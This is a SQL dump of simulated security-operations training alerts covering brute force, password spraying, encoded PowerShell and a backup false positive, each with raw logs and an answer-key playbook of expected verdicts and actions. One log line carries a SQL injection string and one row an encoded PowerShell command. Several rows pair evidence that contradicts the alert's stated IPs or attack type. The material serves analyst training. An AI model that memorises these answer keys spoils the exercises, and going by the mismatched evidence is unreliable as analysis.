(1646, 'False Positive: High Network Utilization During Backup', 'low', 'Splunk', 'Increased network activity detected, coinciding with scheduled data backup operations, not malicious activity.', 'Data Exfil', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T20:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.180\",\"dst_ip\":\"203.0.113.250\",\"username\":\"backup_admin\",\"hostname\":\"backup-system\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.250\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Trusted IP for remote storage during backups.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.180\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the backup system.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Network activity is attributed to scheduled backups, not unauthorized data exfiltration.\"}', 'Advanced', 'IR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.858Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.180\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.858Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.180\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.858Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.180\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.858Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.180\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.858Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.180\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1647, 'Encoded PowerShell Command Used in Reconnaissance', 'high', 'Velociraptor', 'A PowerShell command with encoded content was executed, potentially part of a reconnaissance phase before an attack.', 'Malware', 'T1082', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T18:35:47Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.190\",\"dst_ip\":\"\",\"username\":\"network_admin\",\"hostname\":\"control-server\",\"request_body\":\"\",\"command_line\":\"powershell.exe -enc JABkAGUAdABlAGMAdAAgAC0AcwB5AHMAdABlAG0A\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -enc JABkAGUAdABlAGMAdAAgAC0AcwB5AHMAdABlAG0A\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded command used for system reconnaissance.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.190\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the control server.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command indicates potential reconnaissance activity, with intentions for further attacks.\"}', 'Advanced', 'IR', 7, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.861Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:35:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.190\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"control-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JABkAGUAdABlAGMAdAAgAC0AcwB5AHMAdABlAG0A\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.861Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:35:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.190\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"control-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JABkAGUAdABlAGMAdAAgAC0AcwB5AHMAdABlAG0A\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.861Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:35:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.190\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"control-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JABkAGUAdABlAGMAdAAgAC0AcwB5AHMAdABlAG0A\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.861Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:35:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.190\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"control-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JABkAGUAdABlAGMAdAAgAC0AcwB5AHMAdABlAG0A\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.861Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:35:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.190\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"control-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JABkAGUAdABlAGMAdAAgAC0AcwB5AHMAdABlAG0A\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1648, 'Password Spraying Detected Against Internal Web Portal', 'high', 'Splunk', 'Multiple failed login attempts detected from an external IP, indicating a potential password spraying attack targeting the internal web portal.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:25:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"hostname\":\"web-portal\"}', '2026-03-15 19:36:10', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Recognized internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP has a history of brute force attempts, and multiple failed login attempts indicate a likely password spraying attack.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.866Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.866Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.866Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.866Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.866Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1649, 'SSH Brute Force Spike Detected', 'critical', 'Elastic SIEM', 'A significant increase in failed SSH login attempts from an unusual IP address suggests a brute force attack on the network.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:13:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.5\",\"username\":\"admin\",\"hostname\":\"ssh-server\"}', '2026-03-15 19:36:10', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common administrative account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP\'s history of brute force activity, coupled with the spike in failed attempts, confirms an attack.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.872Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:13:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.872Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:13:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.872Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:13:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.872Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:13:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.872Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:13:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1650, 'Potential Password Spraying on External Email Service', 'medium', 'Azure Sentinel', 'A number of failed login attempts to the external email service from a specific IP suggests possible password spraying activity.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:45:22Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.101\",\"dst_ip\":\"192.168.2.15\",\"username\":\"user1\",\"hostname\":\"email-server\"}', '2026-03-15 19:36:10', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for suspicious login activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server IP\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"user1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The repeated failed logins from a known suspicious IP indicate a likely password spraying attempt.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.874Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"email-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.874Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"email-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.874Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"email-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.874Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"email-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.874Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"email-server\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1651, 'False Positive SSH Login Attempt Detected', 'low', 'Wazuh', 'A series of failed SSH login attempts from an internal IP were detected but identified as a false positive due to a misconfigured script.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:30:50Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.200\",\"dst_ip\":\"192.168.1.5\",\"username\":\"testuser\",\"hostname\":\"ssh-server\"}', '2026-03-15 19:36:10', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"testuser\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Test user account used for script operations\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity was traced back to a test script running within the internal network, confirming it as a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.877Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.200\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.877Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.200\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.877Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.200\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.877Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.200\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.877Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.200\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1652, 'Password Spraying Detected Against Internal Web Portal', 'high', 'Splunk', 'Multiple failed login attempts from a foreign IP address targeting an internal web portal. Possible password spraying attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T02:45:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.100\",\"username\":\"jdoe\",\"hostname\":\"webportal01\",\"failed_attempts\":35}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the target web portal\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"User account 